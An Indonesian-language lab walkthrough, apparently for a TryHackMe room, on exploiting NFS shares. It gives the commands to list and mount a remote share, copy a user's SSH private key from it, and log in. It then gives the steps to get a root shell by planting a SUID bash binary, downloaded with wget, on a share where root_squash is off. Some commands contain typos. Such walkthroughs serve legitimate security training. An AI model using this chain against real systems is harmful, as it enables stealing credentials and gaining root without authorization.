Exploiting NFS

Apa Itu NFS

NFS adalah singkatan dari "Network File System" dan memungkinkan sistem untuk berbagi direktori dan file dengan yang lain melalui jaringan. Dengan menggunakan NFS, pengguna dan program dapat mengakses file pada sistem jarak jauh hampir seperti file lokal. Hal ini dilakukan dengan memasang semua atau sebagian sistem file pada server. Bagian sistem file yang dipasang dapat diakses oleh klien dengan hak istimewa apa pun yang ditetapkan untuk setiap file.


Enumeration NFS

Enumerasi didefinisikan sebagai "proses yang membangun koneksi aktif ke host target untuk menemukan vektor serangan potensial dalam sistem, dan hal yang sama dapat digunakan untuk eksploitasi sistem lebih lanjut." - Infosec Institute . Ini adalah fase kritis ketika mempertimbangkan cara menghitung dan mengeksploitasi mesin jarak jauh - karena informasi yang akan Anda gunakan untuk menginformasikan serangan Anda akan berasal dari tahap ini


Requirements

Untuk melakukan penghitungan lebih lanjut pada server NFS dan share, kita akan memerlukan beberapa alat. Yang pertama adalah kunci untuk berinteraksi dengan share NFS dari mesin lokal Anda: nfs-common.
NFS-Common
Penting untuk menginstal paket ini di mesin mana pun yang menggunakan NFS, baik sebagai klien maupun server. Paket ini mencakup program-program seperti: l ockd, statd , showmount , nfsstat, gssd , idmapd dan mount.nfs . Yang terutama, kami akan membahas "showmount" dan "mount.nfs" karena keduanya akan sangat berguna bagi kami saat mengekstrak informasi dari share NFS. Jika Anda ingin informasi lebih lanjut tentang paket ini, silakan baca:https://packages.ubuntu.com/jammy/nfs-common .
Anda dapat menginstal nfs-common menggunakan "sudo apt install nfs-common ", ini adalah bagian dari repositori default untuk sebagian besar distribusi Linux seperti Kali Remote Machine atau AttackBox yang disediakan untuk TryHackMe.


Mounting NFS shares

Sistem klien Anda memerlukan direktori tempat semua konten yang dibagikan oleh server host dalam folder ekspor dapat diakses. Anda dapat membuat folder ini di mana saja di sistem Anda. Setelah Anda membuat titik pemasangan ini, Anda dapat menggunakan perintah "mount" untuk menghubungkan berbagi NFS ke titik pemasangan pada mesin Anda seperti ini:
sudo mount -t nfs IP:share /tmp/mount/ -nolock
.sudo Jalankan sebagai root
.mount Jalankan perintah mount
.-t nfs Jenis perangkat yang akan dipasang, lalu tentukan bahwa itu adalah NFS
.IP:share Alamat IP server NFS, dan nama share yang ingin kita pasang
.-nolock Menentukan untuk tidak menggunakan penguncian NLM


Port Scanning

Langkah pertama enumerasi adalah melakukan pemindaian port, untuk mengetahui sebanyak mungkin informasi tentang layanan, aplikasi, struktur, dan sistem operasi mesin target.
contoh Commandnmap -p- -A 10.10.10.10 --open
-p-Megecek semua Port
-Amengaktifkan deteksi versi layanan, deteksi sistem operasi, skrip deteksi umum, dan traceroute.


Exploiting NFS

/usr/bin/showmout -e [IP target ] Melihat Share list yang di bagikan
atau showmount -e 10.10.10.10 Melihat Share list yang di bagikan

membuat direktori pada komputer untuk me-mount share tersebut.
. mkdir /tmp/mount
. mount -t nfs [IP Target]:home /tmp/mount -nolock
. ls -la /tmp/maount untuk melihat direktory share
. cd /tmp/mount/[path folder] untuk masuk ke dalam direktory
. ls -la untuk melihat isi dalam direktory yang tersembuyi maupun tidak
. cp /tmp/mount/cappucino/.ssh/id_rsa* ~/.ssh copy id_rsa ke .ssh
. ssh -i [id_rsa] [username]@[IP] karna kita sudah copy id_rsa ke .ssh kita bisa lagsung gunakan ssh cappucino@10.10.10.10


root_squash

Secara default, pada share NFS- Root Squashing diaktifkan, dan mencegah siapa pun yang terhubung ke share NFS memiliki akses root ke volume NFS. Pengguna root jarak jauh diberi pengguna “nfsnobody” saat terhubung, yang memiliki hak istimewa lokal paling sedikit. Bukan yang kita inginkan. Namun, jika ini dimatikan, ini dapat memungkinkan pembuatan file bit SUID, yang memungkinkan akses root pengguna jarak jauh ke sistem yang terhubung.


SUID

Jadi, apa itu file dengan bit SUID? Pada dasarnya, ini berarti bahwa file atau beberapa file dapat dijalankan dengan izin pemilik/grup file. Dalam hal ini, sebagai pengguna super. Kita dapat memanfaatkan ini untuk mendapatkan shell dengan hak istimewa ini!


Metode

Ini terdengar rumit, tetapi sebenarnya, asalkan Anda familier dengan cara kerja file SUID, ini cukup mudah dipahami. Kita dapat mengunggah file ke share NFS, dan mengendalikan izin file-file ini. Kita dapat mengatur izin apa pun yang kita unggah, dalam hal ini bash shell yang dapat dieksekusi. Kita kemudian dapat masuk melalui SSH , seperti yang kita lakukan pada tugas sebelumnya, dan mengeksekusi executable ini untuk mendapatkan root shell!


Yang Dapat Dieksekusi

Karena alasan kompatibilitas, kami akan memperoleh bash yang dapat dieksekusi langsung dari mesin target. Dengan kunci yang diperoleh pada tugas sebelumnya, kami dapat menggunakan SCP dengan perintah
scp -i key_name username@10.10.102.14:/bin/bash ~/Downloads/bash untuk mengunduhnya ke mesin penyerang kami.
Metode lain untuk mengatasi masalah kompatibilitas adalah dengan mendapatkan bash standar Ubuntu Server 18.04 yang dapat dieksekusi, sama seperti milik server - seperti yang kita ketahui dari pemindaian nmap. Anda dapat mengunduhnya di sini . Jika Anda ingin mengunduhnya melalui baris perintah, berhati-hatilah untuk tidak mengunduh halaman github alih-alih skrip mentah. Anda dapat menggunakan
wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash Perhatikan bahwa metode ini memerlukan koneksi internet.


Jalur yang Dipetakan:

Jika ini masih sulit diikuti, berikut ini adalah langkah demi langkah tindakan yang kami ambil, dan bagaimana semuanya saling terkait untuk memungkinkan kami mendapatkan cangkang akar:
Akses NFS ->
== Dapatkan Shell Hak Istimewa Rendah ->
=== Unggah Bash Executable ke share NFS ->
==== Tetapkan Izin SUID Melalui NFS Karena Root Squash yang Salah Dikonfigurasi ->
===== Masuk melalui SSH ->
====== Jalankan Bit SUID Bash yang Dapat Dieksekusi ->
======= Access Root

.wget https://github.com/polo-sec/writing/raw/master/Security%20Challenge%20Walkthroughs/Networks%202/bash
setelah kita Downloads file bash menggunkan wget
cp bash /tmp/mount/cappucino/
sudo chown root bashShell bash yang disalin harus dimiliki oleh pengguna root
chmod +s bash menyetel bit SUID menggunakan chmod
chmod +x bash merubah permission menjadi

Login SSH kembali / ke TAB Ssh kembai
./bash -pmenjalankan script bash | -p untk mepertahankan izin
whoaami
ls /root
cat /root/root.txt Ambil Flag Root

tags